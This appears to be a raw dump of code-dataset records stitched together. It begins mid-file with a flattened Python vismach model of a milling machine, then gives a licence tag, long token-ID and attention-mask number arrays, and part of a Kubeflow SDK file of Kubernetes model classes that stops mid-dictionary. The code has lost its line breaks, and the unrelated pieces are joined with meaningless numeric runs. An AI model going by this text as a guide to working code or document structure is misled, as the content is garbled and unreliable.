-table_thick-4.7, -5, 0.5*table_length-16, -table_thick+1.0, 5), ]) table = Color([0.5,0.9,0.9,0],[table]) column = Collection([ # main body Box(column_way_top_x+4.5, 5.0, column_center_z-0.5*column_depth, column_center_x+0.5*column_width, column_height, column_center_z+0.5*column_depth), # way supports Box(column_way_top_x+4.5, 5.0, column_center_z-0.5*column_depth, column_way_top_x+1.0, column_height, column_center_z-0.5*column_depth+5.0), Box(column_way_top_x+4.5, 5.0, column_center_z+0.5*column_depth, column_way_top_x+1.0, column_height, column_center_z+0.5*column_depth-5.0), # screw/motor mount Box(column_way_top_x+1.5-2.5, column_height-5.0, column_center_z-3.0, column_way_top_x+1.5+3.0, column_height+1.0, column_center_z+3.0), # motor Translate([CylinderY(column_height+1.0, 3.5, column_height+19.0, 3.5)], column_way_top_x+1.5, 0, column_center_z), ]) column = Color([0.5,0.9,0.9,0],[column]) column_ways = Collection([ Box(column_way_top_x+2.0, 6.0, column_center_z-0.5*column_depth-1.0, column_way_top_x+0.0, column_height+0.5, column_center_z-0.5*column_depth+4.0), Box(column_way_top_x+2.0, 6.0, column_center_z+0.5*column_depth+1.0, column_way_top_x+0.0, column_height+0.5, column_center_z+0.5*column_depth-4.0), # and screw Translate([CylinderY(5.0, 1.5, column_height-4.0, 1.5)], column_way_top_x+1.5, 0, column_center_z) ]) column_ways = Color([0.5,0.5,0.8,0],[column_ways]) work = Capture() tooltip = Capture() tool = Collection([ Translate([HalTranslate([tooltip], c, "tool-length", 0, 0, -1)], 0, 0, -tool_length_offset), HalToolCylinder(c) ]) tool = Color([0.8,0.6,0.9,0], [tool] ) # quill - nose at Z = 0, tool points along -Z quill = Collection([ tool, # main quill body CylinderZ(0.0, 0.5*quill_dia, quill_length, 0.5*quill_dia) ]) quill = Color([0.8,0.1,0.1,0],[quill]) # head assy - same coords as fully retracted quill head = Collection([ # main body Box(-0.5*head_width, head_top, 2, 0.5*head_width, head_bottom, head_depth+2), # nut block Box(0.5*head_width, head_top-6.0, column_head_offset+0.5*column_depth-3.0, column_way_top_x+1.5+2.5, head_bottom+6.0, column_head_offset+0.5*column_depth+3.0), # quill housing CylinderZ(1, 6, quill_length*1.5, 6) ]) head = Color([0.5,0.9,0.9,0],[head]) head_slides = Collection([ Box(column_way_top_x+1.5, head_top+1.0, -2.5+column_head_offset, 0.5*head_width, head_bottom-1.0, 3.5+column_head_offset), Box(column_way_top_x+1.5, head_top+1.0, column_depth+2.5+column_head_offset, 0.5*head_width, head_bottom-1.0, column_depth-3.5+column_head_offset), # and nut Translate([CylinderY(head_top-5.5, 2.2, head_bottom+5.5, 2.2)], column_way_top_x+1.5, 0, column_head_offset+0.5*column_depth) ]) head_slides = Color([0.7,0.9,0.9,0],[head_slides]) # kinematic chain # kins_base -> kins_saddle -> kins_table -> kins_work # kins_base -> kins_head -> kins_quill # XY origin at quill centerline, Z = 0 at spindle nose kins_quill = Collection([ quill ]) # XY origin on quill centerline, Z = 0 at nose of fully retracted quill kins_head = Collection([ head, head_slides, HalTranslate([kins_quill],c,"quill",0,0,1) ]) # origin at center of top surface of rotary table (when we eventually add it) kins_work = Collection([ #rotary_top, work ]) # XZ origin at center of top of table kins_table = Collection([ table_slides, table, kins_work, ]) # origin at center of top of table ways kins_saddle = Collection([ saddle, saddle_slides, table_ways, Translate([HalTranslate([kins_table],c,"table",-1,0,0)], 0, table_thick+20, 0) ]) # origin at center of saddle ways, at floor level kins_base = Collection([ floor, base, column, column_ways, saddleways, Translate([HalTranslate([kins_head],c,"head",0,1,0)],0,20+table_thick,column_center_z-0.5*column_depth-column_head_offset), Translate([HalTranslate([kins_saddle],c,"saddle",0,0,-1)],0,0,0) ]) model = Collection([kins_base]) x_axis = Collection([ CylinderX(0, 3, 30, 3), CylinderX(30,6, 40, 0), Box(27, -6, -6, 30, 6, 6) ]) x_axis = Color([1,0,0,0],[x_axis]) y_axis = Collection([ CylinderY(0, 3, 30, 3), CylinderY(30,6, 40, 0), Box(-6, 27, -6, 6, 30, 6) ]) y_axis = Color([0,1,0,0],[y_axis]) z_axis = Collection([ CylinderZ(0, 3, 30, 3), CylinderZ(30,6, 40, 0), Box(-6, -6, 27, 6, 6, 30) ]) z_axis = Color([0,0,1,0],[z_axis]) axes = Collection([ Box(-5, -5, -5, 5, 5, 5), x_axis, y_axis, z_axis, tooltip,work ]) model = Rotate([model],90,1,0,0) main(model, tooltip, work, 200, lat=-60, lon=60)
lgpl-2.1
[ 3381, 2647, 15, 1393, 15, 1548, 18, 14, 20, 199, 3, 199, 3, 259, 812, 374, 13987, 13362, 1402, 402, 282, 869, 7550, 699, 6854, 603, 778, 543, 2173, 778, 199, 3, 199, 3, 259, 1898, 10219, 17815, 1804, 305, 324, 1158, 199, 3, 259, 27731, 687, 282, 1736, 701, 17815, 1804, 305, 324, 1158, 12, 1603, 3609, 27255, 1435, 12, 436, 2799, 5719, 3898, 271, 75, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 259, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 8217, 421, 199, 504, 21370, 14121, 492, 627, 199, 646, 22939, 199, 646, 3473, 199, 646, 984, 199, 199, 3, 6033, 687, 2249, 688, 274, 11354, 370, 4744, 13, 1267, 275, 378, 2376, 199, 3557, 63, 1267, 63, 2743, 275, 841, 14, 16, 199, 199, 3, 8120, 6037, 3107, 1338, 436, 14070, 73, 199, 3, 9183, 6325, 24447, 365, 641, 314, 3107, 3114, 199, 533, 869, 279, 5157, 9156, 24447, 8, 9156, 24447, 58, 304, 272, 347, 636, 826, 721, 277, 12, 1013, 12, 627, 589, 304, 199, 198, 9156, 24447, 58, 855, 826, 721, 277, 12, 627, 589, 9, 199, 198, 277, 14, 863, 275, 1013, 339, 347, 13259, 8, 277, 304, 267, 372, 334, 16, 12, 291, 14, 863, 905, 3557, 13, 8017, 2255, 267, 446, 3557, 63, 1267, 63, 2743, 13, 277, 14, 863, 905, 3557, 13, 1267, 2255, 291, 14, 863, 905, 3557, 13, 8017, 3135, 421, 199, 67, 275, 22939, 14, 3173, 480, 72, 12648, 5885, 531, 199, 3, 869, 748, 30541, 199, 67, 14, 1222, 7751, 480, 1224, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 83, 20101, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 2993, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 392, 778, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 199, 67, 14, 1222, 7751, 480, 3557, 13, 1267, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 3557, 13, 8017, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 2179, 342, 199, 199, 3557, 63, 8017, 29, 16, 14, 21, 199, 199, 509, 4260, 315, 984, 14, 3020, 59, 17, 10688, 2146, 4260, 199, 199, 3, 314, 18140, 2348, 365, 282, 12050, 3365, 2419, 315, 4136, 21370, 14121, 1709, 199, 3, 781, 5627, 314, 3400, 402, 1006, 4184, 1642, 199, 3, 1454, 737, 314, 1284, 370, 781, 1900, 314, 1022, 1132, 3889, 6036, 8, 83, 9, 199, 199, 3, 19841, 199, 11289, 275, 18003, 779, 199, 198, 3, 282, 7282, 5340, 371, 199, 198, 4117, 779, 16, 14, 18, 12, 16, 14, 18, 12, 16, 14, 18, 12, 16, 467, 359, 3532, 2801, 8251, 12, 446, 20, 12, 446, 8251, 12, 14711, 12, 378, 12, 14711, 3948, 199, 198, 566, 199, 199, 3, 308, 20101, 15217, 199, 83, 20101, 63, 3316, 63, 2063, 275, 959, 14, 16, 199, 83, 20101, 63, 3316, 63, 15880, 275, 15323, 14, 16, 199, 83, 20101, 63, 3316, 63, 928, 275, 446, 1400, 199, 83, 20101, 63, 3316, 63, 500, 275, 5238, 199, 83, 20101, 63, 19968, 63, 1267, 275, 9615, 199, 2301, 63, 4218, 63, 88, 275, 5504, 199, 2301, 63, 4218, 63, 90, 275, 13098, 199, 2301, 63, 2063, 275, 5504, 199, 2301, 63, 4631, 275, 4233, 199, 2301, 63, 3333, 275, 21771, 199, 1224, 63, 273, 2000, 275, 1695, 199, 1224, 63, 1267, 275, 13960, 199, 1224, 63, 2063, 275, 5212, 199, 1224, 63, 3316, 63, 2063, 275, 959, 14, 16, 199, 2301, 63, 3316, 63, 2119, 63, 88, 275, 2763, 63, 4218, 63, 88, 13, 16, 14, 21, 10, 2301, 63, 2063, 13, 17, 14, 16, 199, 2993, 63, 2063, 275, 499, 5830, 2301, 63, 3316, 63, 2119, 63, 88, 13, 17, 14, 16, 9, 199, 2993, 63, 2119, 275, 4114, 199, 2993, 63, 8305, 275, 446, 25, 199, 2993, 63, 4631, 275, 8780, 199, 392, 778, 63, 1267, 275, 9615, 199, 392, 778, 63, 2391, 275, 1227, 14, 16, 199, 2301, 63, 2993, 63, 2743, 275, 841, 14, 16, 199, 199, 83, 20101, 2885, 275, 18003, 779, 199, 198, 3532, 2801, 17, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 13, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 446, 17, 14, 16, 12, 308, 20101, 63, 3316, 63, 928, 12, 6722, 446, 17, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 11, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 413, 14, 16, 12, 308, 20101, 63, 3316, 63, 500, 395, 199, 198, 3532, 8, 413, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 13, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 446, 17, 14, 16, 12, 308, 20101, 63, 3316, 63, 928, 12, 507, 258, 413, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 11, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12 ]
[ 2647, 15, 1393, 15, 1548, 18, 14, 20, 199, 3, 199, 3, 259, 812, 374, 13987, 13362, 1402, 402, 282, 869, 7550, 699, 6854, 603, 778, 543, 2173, 778, 199, 3, 199, 3, 259, 1898, 10219, 17815, 1804, 305, 324, 1158, 199, 3, 259, 27731, 687, 282, 1736, 701, 17815, 1804, 305, 324, 1158, 12, 1603, 3609, 27255, 1435, 12, 436, 2799, 5719, 3898, 271, 75, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 259, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 8217, 421, 199, 504, 21370, 14121, 492, 627, 199, 646, 22939, 199, 646, 3473, 199, 646, 984, 199, 199, 3, 6033, 687, 2249, 688, 274, 11354, 370, 4744, 13, 1267, 275, 378, 2376, 199, 3557, 63, 1267, 63, 2743, 275, 841, 14, 16, 199, 199, 3, 8120, 6037, 3107, 1338, 436, 14070, 73, 199, 3, 9183, 6325, 24447, 365, 641, 314, 3107, 3114, 199, 533, 869, 279, 5157, 9156, 24447, 8, 9156, 24447, 58, 304, 272, 347, 636, 826, 721, 277, 12, 1013, 12, 627, 589, 304, 199, 198, 9156, 24447, 58, 855, 826, 721, 277, 12, 627, 589, 9, 199, 198, 277, 14, 863, 275, 1013, 339, 347, 13259, 8, 277, 304, 267, 372, 334, 16, 12, 291, 14, 863, 905, 3557, 13, 8017, 2255, 267, 446, 3557, 63, 1267, 63, 2743, 13, 277, 14, 863, 905, 3557, 13, 1267, 2255, 291, 14, 863, 905, 3557, 13, 8017, 3135, 421, 199, 67, 275, 22939, 14, 3173, 480, 72, 12648, 5885, 531, 199, 3, 869, 748, 30541, 199, 67, 14, 1222, 7751, 480, 1224, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 83, 20101, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 2993, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 392, 778, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 199, 67, 14, 1222, 7751, 480, 3557, 13, 1267, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 1222, 7751, 480, 3557, 13, 8017, 401, 22939, 14, 40, 748, 63, 11783, 12, 22939, 14, 40, 748, 63, 568, 9, 199, 67, 14, 2179, 342, 199, 199, 3557, 63, 8017, 29, 16, 14, 21, 199, 199, 509, 4260, 315, 984, 14, 3020, 59, 17, 10688, 2146, 4260, 199, 199, 3, 314, 18140, 2348, 365, 282, 12050, 3365, 2419, 315, 4136, 21370, 14121, 1709, 199, 3, 781, 5627, 314, 3400, 402, 1006, 4184, 1642, 199, 3, 1454, 737, 314, 1284, 370, 781, 1900, 314, 1022, 1132, 3889, 6036, 8, 83, 9, 199, 199, 3, 19841, 199, 11289, 275, 18003, 779, 199, 198, 3, 282, 7282, 5340, 371, 199, 198, 4117, 779, 16, 14, 18, 12, 16, 14, 18, 12, 16, 14, 18, 12, 16, 467, 359, 3532, 2801, 8251, 12, 446, 20, 12, 446, 8251, 12, 14711, 12, 378, 12, 14711, 3948, 199, 198, 566, 199, 199, 3, 308, 20101, 15217, 199, 83, 20101, 63, 3316, 63, 2063, 275, 959, 14, 16, 199, 83, 20101, 63, 3316, 63, 15880, 275, 15323, 14, 16, 199, 83, 20101, 63, 3316, 63, 928, 275, 446, 1400, 199, 83, 20101, 63, 3316, 63, 500, 275, 5238, 199, 83, 20101, 63, 19968, 63, 1267, 275, 9615, 199, 2301, 63, 4218, 63, 88, 275, 5504, 199, 2301, 63, 4218, 63, 90, 275, 13098, 199, 2301, 63, 2063, 275, 5504, 199, 2301, 63, 4631, 275, 4233, 199, 2301, 63, 3333, 275, 21771, 199, 1224, 63, 273, 2000, 275, 1695, 199, 1224, 63, 1267, 275, 13960, 199, 1224, 63, 2063, 275, 5212, 199, 1224, 63, 3316, 63, 2063, 275, 959, 14, 16, 199, 2301, 63, 3316, 63, 2119, 63, 88, 275, 2763, 63, 4218, 63, 88, 13, 16, 14, 21, 10, 2301, 63, 2063, 13, 17, 14, 16, 199, 2993, 63, 2063, 275, 499, 5830, 2301, 63, 3316, 63, 2119, 63, 88, 13, 17, 14, 16, 9, 199, 2993, 63, 2119, 275, 4114, 199, 2993, 63, 8305, 275, 446, 25, 199, 2993, 63, 4631, 275, 8780, 199, 392, 778, 63, 1267, 275, 9615, 199, 392, 778, 63, 2391, 275, 1227, 14, 16, 199, 2301, 63, 2993, 63, 2743, 275, 841, 14, 16, 199, 199, 83, 20101, 2885, 275, 18003, 779, 199, 198, 3532, 2801, 17, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 13, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 446, 17, 14, 16, 12, 308, 20101, 63, 3316, 63, 928, 12, 6722, 446, 17, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 11, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 413, 14, 16, 12, 308, 20101, 63, 3316, 63, 500, 395, 199, 198, 3532, 8, 413, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 13, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 446, 17, 14, 16, 12, 308, 20101, 63, 3316, 63, 928, 12, 507, 258, 413, 14, 21, 10, 83, 20101, 63, 3316, 63, 15880, 11, 16, 14, 21, 10, 83, 20101, 63, 3316, 63, 2063, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kubeflow/kfp-tekton-backend
sdk/python/kfp/components/structures/kubernetes/v1.py
1
16372
__all__ = [ 'Container', 'PodArgoSubset', ] from collections import OrderedDict from typing import Any, Dict, List, Mapping, Optional, Sequence, Union from ...modelbase import ModelBase class EnvVar(ModelBase): _serialized_names = { 'value_from': 'valueFrom', } def __init__(self, name: str, value: Optional[str] = None, #value_from: Optional[EnvVarSource] = None, #TODO: Add if needed ): super().__init__(locals()) class ExecAction(ModelBase): def __init__(self, command: List[str], ): super().__init__(locals()) class Handler(ModelBase): _serialized_names = { 'http_get': 'httpGet', 'tcp_socket': 'tcpSocket', } def __init__(self, exec: Optional[ExecAction] = None, #http_get: Optional[HTTPGetAction] = None, #TODO: Add if needed #tcp_socket: Optional[TCPSocketAction] = None, #TODO: Add if needed ): super().__init__(locals()) class Lifecycle(ModelBase): _serialized_names = { 'post_start': 'postStart', 'pre_stop': 'preStop', } def __init__(self, post_start: Optional[Handler] = None, pre_stop: Optional[Handler] = None, ): super().__init__(locals()) class VolumeMount(ModelBase): _serialized_names = { 'mount_path': 'mountPath', 'mount_propagation': 'mountPropagation', 'read_only': 'readOnly', 'sub_path': 'subPath', } def __init__(self, name: str, mount_path: str, mount_propagation: Optional[str] = None, read_only: Optional[bool] = None, sub_path: Optional[str] = None, ): super().__init__(locals()) class ResourceRequirements(ModelBase): def __init__(self, limits: Optional[Dict[str, str]] = None, requests: Optional[Dict[str, str]] = None, ): super().__init__(locals()) class ContainerPort(ModelBase): _serialized_names = { 'container_port': 'containerPort', 'host_ip': 'hostIP', 'host_port': 'hostPort', } def __init__(self, container_port: int, host_ip: Optional[str] = None, host_port: Optional[int] = None, name: Optional[str] = None, protocol: Optional[str] = None, ): super().__init__(locals()) class VolumeDevice(ModelBase): _serialized_names = { 'device_path': 'devicePath', } def __init__(self, device_path: str, name: str, ): super().__init__(locals()) class Probe(ModelBase): _serialized_names = { 'failure_threshold': 'failureThreshold', 'http_get': 'httpGet', 'initial_delay_seconds': 'initialDelaySeconds', 'period_seconds': 'periodSeconds', 'success_threshold': 'successThreshold', 'tcp_socket': 'tcpSocket', 'timeout_seconds': 'timeoutSeconds' } def __init__(self, exec: Optional[ExecAction] = None, failure_threshold: Optional[int] = None, #http_get: Optional[HTTPGetAction] = None, #TODO: Add if needed initial_delay_seconds: Optional[int] = None, period_seconds: Optional[int] = None, success_threshold: Optional[int] = None, #tcp_socket: Optional[TCPSocketAction] = None, #TODO: Add if needed timeout_seconds: Optional[int] = None, ): super().__init__(locals()) class SecurityContext(ModelBase): _serialized_names = { 'allow_privilege_escalation': 'allowPrivilegeEscalation', 'capabilities': 'capabilities', 'privileged': 'privileged', 'read_only_root_filesystem': 'readOnlyRootFilesystem', 'run_as_group': 'runAsGroup', 'run_as_non_root': 'runAsNonRoot', 'run_as_user': 'runAsUser', 'se_linux_options': 'seLinuxOptions' } def __init__(self, allow_privilege_escalation: Optional[bool] = None, #capabilities: Optional[Capabilities] = None, #TODO: Add if needed privileged: Optional[bool] = None, read_only_root_filesystem: Optional[bool] = None, run_as_group: Optional[int] = None, run_as_non_root: Optional[bool] = None, run_as_user: Optional[int] = None, #se_linux_options: Optional[SELinuxOptions] = None, #TODO: Add if needed ): super().__init__(locals()) class Container(ModelBase): _serialized_names = { 'env_from': 'envFrom', 'image_pull_policy': 'imagePullPolicy', 'liveness_probe': 'livenessProbe', 'readiness_probe': 'readinessProbe', 'security_context': 'securityContext', 'stdin_once': 'stdinOnce', 'termination_message_path': 'terminationMessagePath', 'termination_message_policy': 'terminationMessagePolicy', 'volume_devices': 'volumeDevices', 'volume_mounts': 'volumeMounts', 'working_dir': 'workingDir', } def __init__(self, #Better to set at Component level image: Optional[str] = None, command: Optional[List[str]] = None, args: Optional[List[str]] = None, env: Optional[List[EnvVar]] = None, working_dir: Optional[str] = None, #Not really needed: container should have proper working dir set up lifecycle: Optional[Lifecycle] = None, #Can be used to specify pre-exit commands to run TODO: Probably support at Component level. #Better to set at Task level volume_mounts: Optional[List[VolumeMount]] = None, resources: Optional[ResourceRequirements] = None, #Might not be used a lot ports: Optional[List[ContainerPort]] = None, #env_from: Optional[List[EnvFromSource]] = None, #TODO: Add if needed volume_devices: Optional[List[VolumeDevice]] = None, #Probably not needed name: Optional[str] = None, #Required by k8s schema, but not Argo. image_pull_policy: Optional[str] = None, liveness_probe: Optional[Probe] = None, readiness_probe: Optional[Probe] = None, security_context: Optional[SecurityContext] = None, stdin: Optional[bool] = None, stdin_once: Optional[bool] = None, termination_message_path: Optional[str] = None, termination_message_policy: Optional[str] = None, tty: Optional[bool] = None, ): super().__init__(locals()) #class NodeAffinity(ModelBase): # _serialized_names = { # 'preferred_during_scheduling_ignored_during_execution': 'preferredDuringSchedulingIgnoredDuringExecution', # 'required_during_scheduling_ignored_during_execution': 'requiredDuringSchedulingIgnoredDuringExecution', # } # def __init__(self, # preferred_during_scheduling_ignored_during_execution: Optional[List[PreferredSchedulingTerm]] = None, # required_during_scheduling_ignored_during_execution: Optional[NodeSelector] = None, # ): # super().__init__(locals()) #class Affinity(ModelBase): # _serialized_names = { # 'node_affinity': 'nodeAffinity', # 'pod_affinity': 'podAffinity', # 'pod_anti_affinity': 'podAntiAffinity', # } # def __init__(self, # node_affinity: Optional[NodeAffinity] = None, # #pod_affinity: Optional[PodAffinity] = None, #TODO: Add if needed # #pod_anti_affinity: Optional[PodAntiAffinity] = None, #TODO: Add if needed # ): # super().__init__(locals()) class Toleration(ModelBase): _serialized_names = { 'toleration_seconds': 'tolerationSeconds', } def __init__(self, effect: Optional[str] = None, key: Optional[str] = None, operator: Optional[str] = None, toleration_seconds: Optional[int] = None, value: Optional[str] = None, ): super().__init__(locals()) class KeyToPath(ModelBase): def __init__(self, key: str, path: str, mode: Optional[int] = None, ): super().__init__(locals()) class SecretVolumeSource(ModelBase): _serialized_names = { 'default_mode': 'defaultMode', 'secret_name': 'secretName' } def __init__(self, default_mode: Optional[int] = None, items: Optional[List[KeyToPath]] = None, optional: Optional[bool] = None, secret_name: Optional[str] = None, ): super().__init__(locals()) class NFSVolumeSource(ModelBase): _serialized_names = { 'read_only': 'readOnly', } def __init__(self, path: str, server: str, read_only: Optional[bool] = None, ): super().__init__(locals()) class PersistentVolumeClaimVolumeSource(ModelBase): _serialized_names = { 'claim_name': 'claimName', 'read_only': 'readOnly' } def __init__(self, claim_name: str, read_only: Optional[bool] = None, ): super().__init__(locals()) class Volume(ModelBase): _serialized_names = { 'aws_elastic_block_store': 'awsElasticBlockStore', 'azure_disk': 'azureDisk', 'azure_file': 'azureFile', 'cephfs': 'cephfs', 'cinder': 'cinder', 'config_map': 'configMap', 'downward_api': 'downwardAPI', 'empty_dir': 'emptyDir', 'fc': 'fc', 'flex_volume': 'flexVolume', 'flocker': 'flocker', 'gce_persistent_disk': 'gcePersistentDisk', 'git_repo': 'gitRepo', 'glusterfs': 'glusterfs', 'host_path': 'hostPath', 'iscsi': 'iscsi', 'name': 'name', 'nfs': 'nfs', 'persistent_volume_claim': 'persistentVolumeClaim', 'photon_persistent_disk': 'photonPersistentDisk', 'portworx_volume': 'portworxVolume', 'projected': 'projected', 'quobyte': 'quobyte', 'rbd': 'rbd', 'scale_io': 'scaleIO', 'secret': 'secret', 'storageos': 'storageos', 'vsphere_volume': 'vsphereVolume' } def __init__(self, name: str, secret: Optional[SecretVolumeSource] = None, nfs: Optional[NFSVolumeSource] = None, persistent_volume_claim: Optional[PersistentVolumeClaimVolumeSource] = None, #No validation for these volume types aws_elastic_block_store: Optional[Mapping] = None, #AWSElasticBlockStoreVolumeSource, azure_disk: Optional[Mapping] = None, #AzureDiskVolumeSource, azure_file: Optional[Mapping] = None, #AzureFileVolumeSource, cephfs: Optional[Mapping] = None, #CephFSVolumeSource, cinder: Optional[Mapping] = None, #CinderVolumeSource, config_map: Optional[Mapping] = None, #ConfigMapVolumeSource, downward_api: Optional[Mapping] = None, #DownwardAPIVolumeSource, empty_dir: Optional[Mapping] = None, #EmptyDirVolumeSource, fc: Optional[Mapping] = None, #FCVolumeSource, flex_volume: Optional[Mapping] = None, #FlexVolumeSource, flocker: Optional[Mapping] = None, #FlockerVolumeSource, gce_persistent_disk: Optional[Mapping] = None, #GCEPersistentDiskVolumeSource, git_repo: Optional[Mapping] = None, #GitRepoVolumeSource, glusterfs: Optional[Mapping] = None, #GlusterfsVolumeSource, host_path: Optional[Mapping] = None, #HostPathVolumeSource, iscsi: Optional[Mapping] = None, #ISCSIVolumeSource, photon_persistent_disk: Optional[Mapping] = None, #PhotonPersistentDiskVolumeSource, portworx_volume: Optional[Mapping] = None, #PortworxVolumeSource, projected: Optional[Mapping] = None, #ProjectedVolumeSource, quobyte: Optional[Mapping] = None, #QuobyteVolumeSource, rbd: Optional[Mapping] = None, #RBDVolumeSource, scale_io: Optional[Mapping] = None, #ScaleIOVolumeSource, storageos: Optional[Mapping] = None, #StorageOSVolumeSource, vsphere_volume: Optional[Mapping] = None, #VsphereVirtualDiskVolumeSource, ): super().__init__(locals()) class PodSpecArgoSubset(ModelBase): _serialized_names = { 'active_deadline_seconds': 'activeDeadlineSeconds', 'affinity': 'affinity', #'automount_service_account_token': 'automountServiceAccountToken', #'containers': 'containers', #'dns_config': 'dnsConfig', #'dns_policy': 'dnsPolicy', #'host_aliases': 'hostAliases', #'host_ipc': 'hostIPC', #'host_network': 'hostNetwork', #'host_pid': 'hostPID', #'hostname': 'hostname', #'image_pull_secrets': 'imagePullSecrets', #'init_containers': 'initContainers', #'node_name': 'nodeName', 'node_selector': 'nodeSelector', #'priority': 'priority', #'priority_class_name': 'priorityClassName', #'readiness_gates': 'readinessGates', #'restart_policy': 'restartPolicy', 